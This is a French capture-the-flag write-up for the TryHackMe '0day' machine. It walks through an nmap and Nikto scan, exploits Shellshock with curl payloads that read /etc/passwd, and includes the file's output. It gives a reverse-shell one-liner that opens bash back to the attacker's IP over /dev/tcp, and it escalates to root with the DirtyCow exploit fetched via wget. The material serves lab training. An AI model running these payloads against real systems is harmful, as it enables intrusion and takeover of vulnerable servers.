Notre cible aujourd’hui est la machine 0day de tryhackme.
0day est une machine de niveau moyen, lors de sa résolution nous utiliserons Nikto pour scanner les vulnérabilités d’un serveur web et nous allons exploiter une vulnérabilité plutôt connue affectant les anciennes versions de bash, j’ai nommé: ShellShock.
L’objectif sera de trouver deux flags, un pour un utilisateur et l’autre pour l’escalation de privilège en root.
0day – Reconnaissance
Une fois la machine démarrée, nous commençons par le scan de port avec nmap. La commande utilisée pour le faire est :
nmap -sC -sV 10.10.78.30
.

D’après les résultats du scan, nous avons deux ports ouverts, le port http et le port ssh.
0day – Enumération
Nous allons ensuite utiliser nikto pour scanner les vulnérabilités au niveau du port http.

Nikto est un outil libre et open-source coder dans le langage Perl, qui permet de scanner un serveur web et d’afficher toutes les failles potentielles.
Nikto est pré-installé sur Kali et prêt à l’usage.
Pour faire le scan nous allons la commande la commande suivante:
nikto --url 10.10.78.30

Le scan nous a permis découvrir quelques répertoires cachés, mais il y a une ligne qui attire plus notre attention.
OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
Cela indique qu’il y a un fichier appelé test.cgi dans le répertoire /cgi-bin/ qui pourrait être vulnérable à ShellShock – une vulnérabilité dévastatrice qui affecte les anciennes versions de Bash. Après quelques recherches, nous tombons sur un moyen pour vérifier si le fichier est vulnérable ou pas.
Ainsi, nous avons utilisé la commande suivante :
curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.78.30/cgi-bin/test.cgi
() { :;};
- Ceci définit une fonction bash vide. Il est là pour activer la vulnérabilité, car shellshock repose sur la déclaration d’une fonction avant l’exécution de toutes les commandes suivantes.
echo Content-Type: text/html; echo;
- Cette section de la commande est utilisée pour empêcher le serveur de planter lorsque la vulnérabilité est exploitée. Une réponse HTTP correctement formatée contiendra un
Content-Type
en-tête, et une ligne vide avant le corps de la réponse s’affiche. Sans ces derniers, le serveur renverra une erreur «500 Internal Server». Ainsi, nous utilisons cette section de la charge utile pour simuler l’en-tête Content-Type et la ligne vierge suivante.
- Cette section de la commande est utilisée pour empêcher le serveur de planter lorsque la vulnérabilité est exploitée. Une réponse HTTP correctement formatée contiendra un
/bin/cat /etc/passwd;
- Enfin, la charge utile. Ce sont les commandes que nous voulons réellement exécutées. Dans ce cas, il s’agit simplement de sortir le contenu de
/etc/passwd
; cependant, nous pourrions ajouter toutes les autres commandes souhaitées ici.
- Enfin, la charge utile. Ce sont les commandes que nous voulons réellement exécutées. Dans ce cas, il s’agit simplement de sortir le contenu de
root@kali:~# curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.78.30/cgi-bin/test.cgi root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false ryan:x:1000:1000:Ubuntu 14.04.1,,,:/home/ryan:/bin/bash sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
Nous pouvons conclure maintenant que le fichier test.cgi est vulnérable à ShellShock.
0day – Exploitation
Nous allons maintenant exploiter la vulnérabilité shellshock pour avoir un shell sur la machine cible et ensuite utiliser netcat pour avoir un reverse shell.
curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.8.9.70/4455 0>&1';" http://10.10.78.30/cgi-bin/test.cgi

Ce qui nous permet d’obtenir le flag de l’utilisateur.

0day – Escalade de privilège
Nous commençons par déterminer la version du noyau de l’OS avec la commande
uname -a

Le système utilise un noyau de version 3.13.0–32 générique. Après des recherches plus approfondies, nous sommes tombés sur le projet dirtycow sur github offrant divers scripts selon des objectifs précis.

Dans notre cas nous allons utiliser le cowroot.c. Après avoir téléchargé le script, nous démarrons un serveur web sur notre machine avec la commande python -m SimpleHTTPServer 80
. Ce qui nous permettra de l’uploader sur la machine avec la commande wget.

Maintenant, nous allons exécuter le script sur la machine cible.

Ce qui nous permet d’avoir le flag de l’utilisateur root.
Conclusion
À travers ce challenge, nous avons vu comment une erreur de configuration sur le serveur web a entraîné l’obtention, et aussi qu’une version obsolète du noyau nous a permis de faire de l’escalade de privilège. Il faut régulièrement faire des mises à jour pour l’éviter et utiliser des outils comme nikto pour détecter les différentes vulnérabilités et les corriger.